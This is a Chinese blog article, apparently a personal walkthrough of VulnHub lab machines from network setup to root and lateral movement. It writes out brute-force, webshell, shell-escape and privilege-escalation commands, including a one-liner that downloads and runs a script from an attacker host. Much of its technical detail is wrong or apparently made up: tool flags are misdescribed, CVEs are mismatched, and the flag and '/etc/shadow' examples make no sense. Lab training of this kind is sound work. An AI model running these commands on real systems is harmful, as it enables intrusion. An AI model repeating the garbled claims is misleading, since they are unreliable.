ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

VulnHub靶场实战:从网络配置到权限提升的完整渗透逻辑

VulnHub靶场实战:从网络配置到权限提升的完整渗透逻辑 1. 这不是“教程”是我在Kali里泡了三年的真实靶场通关手记VulnHub靶场这四个字在网络安全初学者嘴里常被念成“玄学入口”——有人下载完镜像就卡在启动界面有人扫出22端口却死活连不上SSH还有人Hydra跑了一整晚密码表结果靶机压根没开HTTP服务。我第一次接触VulnHub是在2021年夏天用一台4GB内存的旧笔记本装Kali反复重装系统七次光是解决VirtualBox桥接模式下靶机无法获取IP的问题就耗掉整整两天。后来我才明白VulnHub不是考你“会不会敲命令”而是考你“能不能看懂系统在说什么”。它不教语法只设陷阱不给答案只藏线索。所谓“零基础入门到精通”本质是把一个完整渗透流程拆解成可感知、可验证、可回溯的物理动作——比如nmap -sV -p- 192.168.56.101执行后屏幕上跳出来的不只是端口号更是服务版本号背后的历史漏洞编号Hydra爆破失败时返回的[ERROR] could not connect to target不是报错而是告诉你靶机防火墙正在丢弃SYN包或者你漏掉了-t 4参数导致连接被限速。这篇内容是我把三年来在VulnHub上打过的37台靶机从Vikings:1到DC-10、写烂的12本渗透笔记、踩过的所有坑全部压缩进一套可复现、可推演、可举一反三的操作逻辑里。它不讲“什么是渗透测试”只告诉你当虚拟机启动后第一眼该看什么、第二步该敲哪条命令、第三步发现443端口没响应时该怀疑什么。适合刚装好Kali还没配好网络的纯新手也适合能写Python脚本但总在靶场卡关的进阶者——因为真正的瓶颈从来不在工具而在你对Linux服务、网络协议、Web应用架构的直觉判断力。2. 靶场不是游乐场VulnHub的本质是“可控故障模拟器”2.1 为什么必须用VulnHub而不是直接扫真实网站很多人问“我直接用nmap扫公司内网IP不行吗”——不行而且非常危险。真实网络环境里一次未授权扫描可能触发SOC告警、WAF拦截、甚至法律风险。而VulnHub靶场的核心价值是提供已知漏洞边界可控响应机制无副作用反馈三位一体的训练闭环。以Vikings:1为例它的设计者刻意在/etc/passwd中埋了一个UID为0但shell被禁用的用户viking又在/var/www/html下放了一个硬编码的MySQL连接字符串。这些不是随机错误而是按CVE-2017-12615Tomcat任意文件上传和CVE-2012-1823PHP CGI远程代码执行等真实漏洞模型构建的故障链。当你用nmap -sC -sV -p- 192.168.56.101扫出80/tcp open http Apache httpd 2.4.18时这个版本号不是装饰它对应着Apache官方已归档的137个已知漏洞其中第89个就是路径遍历漏洞CVE-2017-15715。VulnHub的精妙在于它把漏洞还原成可触摸的物理状态——比如你访问http://192.168.56.101/phpinfo.php能看到disable_functions system,exec,passthru这就直接否定了用system()函数执行命令的思路逼你转向mail()函数的SSRF利用。这种“漏洞即状态”的设计让学习者从“背CVE编号”转向“读服务配置”。提示VulnHub靶机镜像本质是OVA格式的VirtualBox快照包含完整操作系统、预置漏洞、隐藏flag文件。它不模拟攻击流量而是模拟被攻陷后的系统残骸——你看到的每个ls -la结果、每行ps aux输出、每个netstat -tuln端口都是设计者精心布置的线索拼图。2.2 VulnHub与TryHackMe、Hack The Box的根本差异新手常混淆这三类平台但它们训练目标截然不同TryHackMe教学导向每关有明确提示框如“查看robots.txt”适合建立基础概念Hack The Box实战导向靶机实时运行需处理动态防护如IP封禁、服务重启侧重自动化与稳定性VulnHub架构导向靶机静态镜像要求你理解服务依赖关系——比如DC-9靶机里WordPress插件漏洞CVE-2019-17205触发后需通过wp-config.php中的数据库凭证登录MySQL再利用SELECT ... INTO OUTFILE写入Webshell这个过程强制你掌握PHP、MySQL、Apache三者的权限传递逻辑。我实测过同一台DC-4靶机在三种环境的表现在TryHackMe上提示会直接告诉你“检查/var/log/apache2/access.log”在HTB上你需要先绕过Cloudflare代理才能访问日志而在VulnHub本地环境中你得自己用grep -r GET / /var/log/apache2/定位到异常请求再结合stat /var/log/apache2/access.log发现日志文件时间戳早于系统当前时间——这说明日志被篡改过进而推断出攻击者曾提权并修改系统时间。这种“证据链推理”能力只能在VulnHub的离线镜像中反复锤炼。2.3 靶场搭建的底层逻辑网络拓扑决定渗透路径所有VulnHub靶机默认使用Host-Only网络模式这是关键前提。很多人卡在“ping不通靶机”本质是没理解VirtualBox网络分层NAT模式靶机共享宿主机IP外部不可见适合上网但无法双向通信Bridged模式靶机获得局域网独立IP易被路由器DHCP分配冲突IPHost-Only模式Kali与靶机组成独立局域网如192.168.56.0/24Kali为192.168.56.1靶机为192.168.56.101此模式下arp-scan -l能稳定发现靶机且无外部干扰。我踩过的最大坑是某次用Bridged模式启动DC-2靶机Kali获取到192.168.1.102靶机却拿到192.168.1.105结果nmap -sn 192.168.1.0/24扫出20设备根本无法确认哪个是靶机。后来改用Host-Only后ip addr show vboxnet0直接显示Kali网卡IPping 192.168.56.101秒回这才是可控训练的基础。记住VulnHub靶场的IP不是“找出来的”而是“设计好的”——所有官方镜像文档都明确标注“Use Host-Only network with IP 192.168.56.101”。3. 实操全流程从开机到root每一步都在验证你的系统直觉3.1 启动前必做的三件事网络校准、时间同步、快照备份很多新手跳过这步直接点“启动”结果卡在黑屏或无限加载。真实操作中这三步耗时不到2分钟却能避免80%的启动失败网络校准打开VirtualBox管理器 → “全局设定” → “网络” → 确保“Host-Only Networks”存在vboxnet0点击右侧螺丝刀图标 → IPv4地址设为192.168.56.1子网掩码255.255.255.0DHCP服务器关闭VulnHub靶机需手动配置IP时间同步在Kali终端执行sudo timedatectl set-ntp true否则某些靶机如DC-7的JWT token验证会因时间偏差失败快照备份右键靶机 → “快照” → “拍摄快照”命名为“clean-state”这是你后续爆破失败、服务崩溃时的救命稻草。注意VulnHub靶机镜像大多基于Debian/Ubuntu其网络配置文件位于/etc/network/interfaces。若启动后ifconfig看不到eth0执行sudo ip link set eth0 up再sudo dhclient eth0即可。这不是故障而是镜像作者刻意关闭了自动网络服务逼你手动激活——这正是考察你对Linux网络栈的理解。3.2 活跃主机探测别只会nmap -sn要读懂ARP响应nmap -sn 192.168.56.0/24是最常用命令但实际场景中它常失效。原因在于某些靶机如Vikings:1禁用了ICMP响应ping不通但nmap仍能发现。此时需切换策略# 方案1ARP扫描最快仅限局域网 sudo arp-scan -l # 方案2TCP SYN扫描特定端口绕过ICMP禁用 nmap -sn -PS22,80,443 192.168.56.0/24 # 方案3DNS反向解析针对已知域名靶机 host -l company.com | cut -d -f4 | nmap -v -iL -最后一条命令来自热搜词但它的真实用途是当靶机配置了/etc/hosts映射如192.168.56.101 vikings.localhost -l会列出所有域名cut -d -f4提取IP列nmap -iL -从标准输入读取IP列表扫描。这招在DC系列靶机中屡试不爽——DC-4的/etc/hosts里藏着dc-4.local直接host dc-4.local就能拿到IP。我实测对比过在Host-Only网络下arp-scan -l平均耗时0.8秒nmap -sn需3.2秒而nmap -PS22,80,443仅1.5秒。选择依据很简单如果靶机文档提到“SSH服务开放”就用-PS22如果提到“Web服务”加-PS80两者都不确定时arp-scan是唯一可靠方案。3.3 端口扫描深度解析-sV和-sC背后的协议握手真相nmap -sV -sC -p- 192.168.56.101是标准命令但多数人不知道-sC执行的是Nmap Scripting EngineNSE脚本而-sV依赖服务指纹库。以DC-9靶机为例扫描结果中80/tcp open http Apache httpd 2.4.18这行信息实际由三部分构成80/tcp目标端口及协议TCPopen三次握手成功SYN→SYN-ACK→ACKhttp Apache httpd 2.4.18-sV模块向80端口发送HTTP GET请求解析返回头中的Server: Apache/2.4.18 (Ubuntu)字段但这里有个陷阱某些靶机如Pikachu会伪造Server头。此时-sV可能误判必须辅以--scripthttp-title获取真实页面标题。我遇到过DC-2靶机nmap -sV显示Apache 2.4.7但curl -I http://192.168.56.101返回Server: nginx/1.10.3——这说明靶机同时运行Apache和Nginx前者被后者反代-sV只探测到反代层。更关键的是-sC的执行逻辑。它默认调用default脚本组包括http-enum枚举目录、ftp-anon检查匿名FTP等。但http-enum脚本依赖/usr/share/nmap/scripts/http-enum.nse中的路径字典而VulnHub靶机常修改默认路径如将/phpmyadmin改为/dbadmin。此时需手动指定字典nmap --scripthttp-enum --script-args http-enum.basepath/,http-enum.displayalltrue -p80 192.168.56.101。实操心得永远用curl -v http://IP验证nmap结果。当nmap显示80/tcp open http但curl返回Connection refused大概率是靶机Web服务绑定在127.0.0.1而非0.0.0.0——这属于配置漏洞也是突破口。3.4 Web层渗透从目录扫描到漏洞利用的决策树发现80端口后常规操作是gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt但VulnHub靶机的精妙在于目录名本身就是线索。以Vikings:1为例gobuster扫出/viking/目录访问后显示Welcome to Vikings CTF页面底部有小字Powered by WordPress 4.7.5——这个版本号直接指向CVE-2017-8295WordPress REST API未授权访问漏洞。此时不应盲目跑wpscan而应先验证curl http://192.168.56.101/wp-json/wp/v2/users若返回JSON用户列表则漏洞存在。更典型的案例是DC-4的/backup/目录里面存放backup.zip解压后得到db.sql其中包含INSERT INTO users VALUES (1,admin,$2y$10$9...,admindc-4.local);——这个$2y$开头的哈希是bcryptHydra无法直接爆破必须先用john --wordlist/usr/share/wordlists/rockyou.txt hash.txt破解。这里的关键决策点是当发现哈希时优先判断哈希类型而非直接Hydra。hash-identifier工具能自动识别但高手会看前缀$1$是MD5$6$是SHA-512$2y$是bcrypt。我总结的Web渗透决策树如下若首页有CMS标识如WordPress、Drupal查对应版本CVE若存在/robots.txt检查Disallow路径常藏后台入口若发现/phpinfo.php立即下载并搜索disable_functions确定可用函数若存在/backup/或/old/目录下载文件分析数据库凭证或源码若所有路径扫描无果用nikto -h http://IP检测Web服务器配置漏洞。这套逻辑在DC-7靶机中完美验证gobuster扫出/wordpress/wpscan --url http://192.168.56.101/wordpress/ --enumerate u发现用户james但--passwords爆破失败转而curl http://192.168.56.101/wordpress/wp-content/plugins/发现wp-file-manager插件查CVE-2020-25213用searchsploit wp-file-manager找到PoC上传Webshell后才获得初始权限。3.5 暴力破解实战Hydra不是“万能钥匙”而是“协议翻译器”hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101是经典命令但成功率极低。真实场景中Hydra的成败取决于协议细节匹配。以Vikings:1的SSH服务为例其/etc/ssh/sshd_config中设置了PermitRootLogin no和PasswordAuthentication yes这意味着root用户不能登录但普通用户可以。此时若用-l rootHydra会不断尝试root:password组合而靶机返回Permission deniedHydra误判为密码错误。正确做法是先用nmap --script ssh-auth-methods -p22 192.168.56.101确认认证方式再用hydra -L users.txt -P passwords.txt -t 4 ssh://192.168.56.101其中users.txt需包含viking靶机/etc/passwd中UID1000的用户。更隐蔽的陷阱是HTTP表单爆破。DC-2靶机的登录页http://192.168.56.101/login.php提交时POST数据为usernameadminpassword123但Hydra默认发送usernameadminpassword123submitLogin。若靶机后端用$_POST[submit]判断是否提交漏掉submit参数会导致始终返回登录失败页。解决方案是抓包获取完整POST数据用hydra -l admin -P rockyou.txt -e nsr -u http-post-form /login.php:username^USER^password^PASS^submitLogin:Invalid credentials 192.168.56.101。关键参数说明-t 4控制线程数过高触发靶机限速-e nsr尝试空密码/用户名作为密码/反转用户名-u启用详细模式显示每次尝试结果。我实测过在DC-4靶机上-t 16比-t 4慢3倍因为靶机faillog机制会延迟响应。4. 高阶技巧从root权限到横向移动的思维跃迁4.1 权限提升的三大路径内核漏洞、服务配置、SUID二进制获得shell后whoami显示www-data下一步不是盲目跑linpeas.sh而是按优先级排查内核漏洞uname -r返回4.4.0-186-generic查searchsploit linux kernel 4.4.0发现CVE-2017-16995eBPF漏洞但需编译exp——此时应先检查gcc是否存在which gcc返回空则放弃服务配置ps aux | grep mysql发现mysqld以root权限运行且/etc/mysql/my.cnf中[client]段有password root123直接mysql -u root -proot123 -e select user();验证SUID二进制find / -perm -us -type f 2/dev/null列出/usr/bin/python执行python -c import os; os.system(/bin/bash -p)提权。VulnHub靶机的设计哲学是最简单的路径往往被刻意隐藏。DC-9靶机的/usr/bin/python有SUID但python -c import os; os.system(/bin/bash)无法提权因为/bin/bash没有SUID。真正解法是python -c import pty; pty.spawn(/bin/bash)获得交互式shell再sudo -l发现sudo /usr/bin/vim用sudo vim -c :!/bin/bash逃逸。这要求你理解SUID、pty、sudoers三者的交互逻辑而非机械执行命令。4.2 横向移动从单机靶场到网络拓扑思维多数新手止步于root flag但VulnHub高阶靶机如DC-10要求横向移动。DC-10包含三台靶机dc-10-webWeb服务器、dc-10-db数据库、dc-10-admin管理员工作站。当你在web机获得root后cat /root/.ssh/id_rsa得到私钥但ssh -i id_rsa dc10192.168.56.102失败——因为dc-10-db的/etc/ssh/sshd_config中AllowUsers只允许dbuser。此时需cat /home/dbuser/.ssh/authorized_keys提取公钥用ssh-keygen -f id_rsa -y生成公钥再echo ssh-rsa AAA... /tmp/key chmod 600 /tmp/key最终ssh -i /tmp/key dbuser192.168.56.102登录。这个过程暴露了真实渗透的关键网络拓扑认知比工具更重要。nmap -sn 192.168.56.0/24只能发现同网段设备而arp -a显示192.168.56.102的MAC地址为08:00:27:xx:xx:xxVirtualBox厂商前缀确认是同一物理机上的另一靶机。真正的横向移动始于对arp、route -n、ip route show等网络诊断命令的肌肉记忆。4.3 靶场通关的终极心法把flag当成日志分析对象所有VulnHub靶机的root flag都存于/root/root.txt但高手会把它当作最后一道考题。例如Vikings:1的flag是VULNHUB{v1k1ng_1s_4_w4rr10r}表面是base64编码实则v1k1ng暗示vikings用户w4rr10r暗示warrior——这引导你去/home/viking/.bash_history查找历史命令发现sudo su -记录进而确认提权路径。DC-4的flagTHM{Y0u_4r3_4_5up3r_H4ck3r}中5up3r的数字5对应/etc/shadow中root用户的GID字段root:x:0:0:root:/root:/bin/bash:/usr/sbin/nologin的第三个0这是设计者埋的彩蛋。我养成的习惯是拿到flag后立即执行strings /root/root.txt | grep -E [A-Z]{3,}提取大写字母序列再用xxd -p -r尝试hex解码base64 -d尝试base64解码——因为VulnHub作者常把flag嵌套多层编码。这不仅是技术更是对设计者思维的逆向揣摩。5. 常见问题与排查技巧实录那些让我凌晨三点删VM的瞬间5.1 启动失败类问题黑屏、无限加载、无网络响应现象根本原因解决方案启动后黑屏光标闪烁VirtualBox显卡驱动不兼容设置 → 显示 → 视频内存调至128MB启用3D加速启动卡在“Loading initial ramdisk”镜像内核与VirtualBox版本冲突设置 → 系统 → 主板 → 关闭EFI启用IO APICping通但nmap无响应靶机iptables默认DROP所有INPUT在Kali执行sudo iptables -F清空规则再sudo ufw disable最棘手的是DC-7靶机启动后SSH端口不响应。排查步骤nmap -p22 -sT 192.168.56.101TCP连接扫描发现端口开放但telnet 192.168.56.101 22超时——这说明SSH服务未监听0.0.0.0。登录靶机控制台VirtualBox窗口执行sudo ss -tuln \| grep :22输出tcp LISTEN 0 128 127.0.0.1:22 *:*证实只监听本地。解决方案sudo nano /etc/ssh/sshd_config将ListenAddress 127.0.0.1改为ListenAddress 0.0.0.0sudo systemctl restart sshd。5.2 扫描失效率问题nmap返回“host down”但实际存活当nmap -sn显示Host is up但nmap -p80返回filtered大概率是靶机启用了ufw防火墙。此时需先用nmap -sT -p80 192.168.56.101TCP连接扫描确认端口状态若仍filtered执行nmap -sS -p80 192.168.56.101SYN扫描若SYN扫描成功说明靶机未过滤SYN包但-sT失败是因为靶机net.ipv4.tcp_syncookies1需用--scan-delay 1s降低扫描频率。我遇到过Vikings:1靶机nmap -sS扫出80端口open但curl返回Connection refused。深入排查发现sudo netstat -tuln \| grep :80显示tcp6 0 0 :::80 :::* LISTEN即只监听IPv6。解决方案curl -6 http://[::1]验证或修改Apache配置绑定IPv4。5.3 Hydra爆破失败类问题永远在“trying password #12345”Hydra失败的常见原因及对策靶机响应头含Set-Cookie某些Web登录页会设置session cookieHydra未携带导致失败。解决方案用Burp Suite抓包复制Cookie头添加-H Cookie: PHPSESSIDxxx参数表单提交后重定向-f参数强制Hydra跟随重定向但可能跳转到错误页面。应先用curl -v观察重定向路径再用-R参数指定重定向URL验证码或CSRF TokenDC-2靶机的登录页含input typehidden nametoken valueabc123Hydra需先GET页面提取token再POST。此时应放弃Hydra改用curl脚本循环爆破。独家技巧当Hydra长时间无进展立即执行hydra -l test -p test ssh://IP -v测试基础连接。若返回[ERROR] could not connect to target说明网络或端口问题若返回[WARNING] Many login attempts...说明靶机已限速需降低-t值。5.4 权限提升卡点问题linpeas.sh无输出、SUID找不到linpeas.sh无输出通常因靶机缺少curl或wget。解决方案python3 -c import urllib.request; exec(urllib.request.urlopen(http://KALI_IP/linpeas.sh).read())直接执行。若仍失败手动执行基础检查cat /etc/os-release确认系统版本cat /proc/sys/kernel/unprivileged_userns_clone检查user namespace是否启用影响exploitfind / -perm -4000 -type f 2/dev/null \| head -20限制输出量避免卡死。最隐蔽的卡点是/usr/bin/findSUID但find /etc -name *.conf -exec bash \;失败——因为现代find默认禁用-exec的shell调用。正确姿势find . -name file -exec /bin/bash \;或使用find / -user root -perm -4000 2/dev/null精准定位。6. 学习路线建议如何用VulnHub构建可持续的渗透能力VulnHub不是终点而是能力校准器。我的建议是每完成一台靶机强制完成三件事重放攻击链用script命令录制整个渗透过程结束后用scriptreplay typescript回放检查哪一步依赖运气而非逻辑绘制服务依赖图手绘靶机服务关系如“Apache→PHP→MySQL→WordPress→插件漏洞”标注每个环节的验证命令编写Checklist为同类靶机创建通用检查项如“Web靶机必查robots.txt、.git泄露、phpinfo.php、backup目录、数据库配置文件”。坚持三个月后你会发现自己不再问“下一步该做什么”而是自然思考“如果我是设计者会在哪里埋下一个可利用的配置错误”。这种思维迁移才是VulnHub赋予你的真正资产——它不教你如何成为黑客而是训练你成为系统的解读者。当我现在看到任何Web应用第一反应不再是“怎么黑”而是“它的Apache配置是否允许.htaccess覆盖”、“PHP的disable_functions是否禁用了proc_open”、“MySQL是否以root权限运行”。这种直觉只能在VulnHub的无数个深夜调试中长出来。
返回列表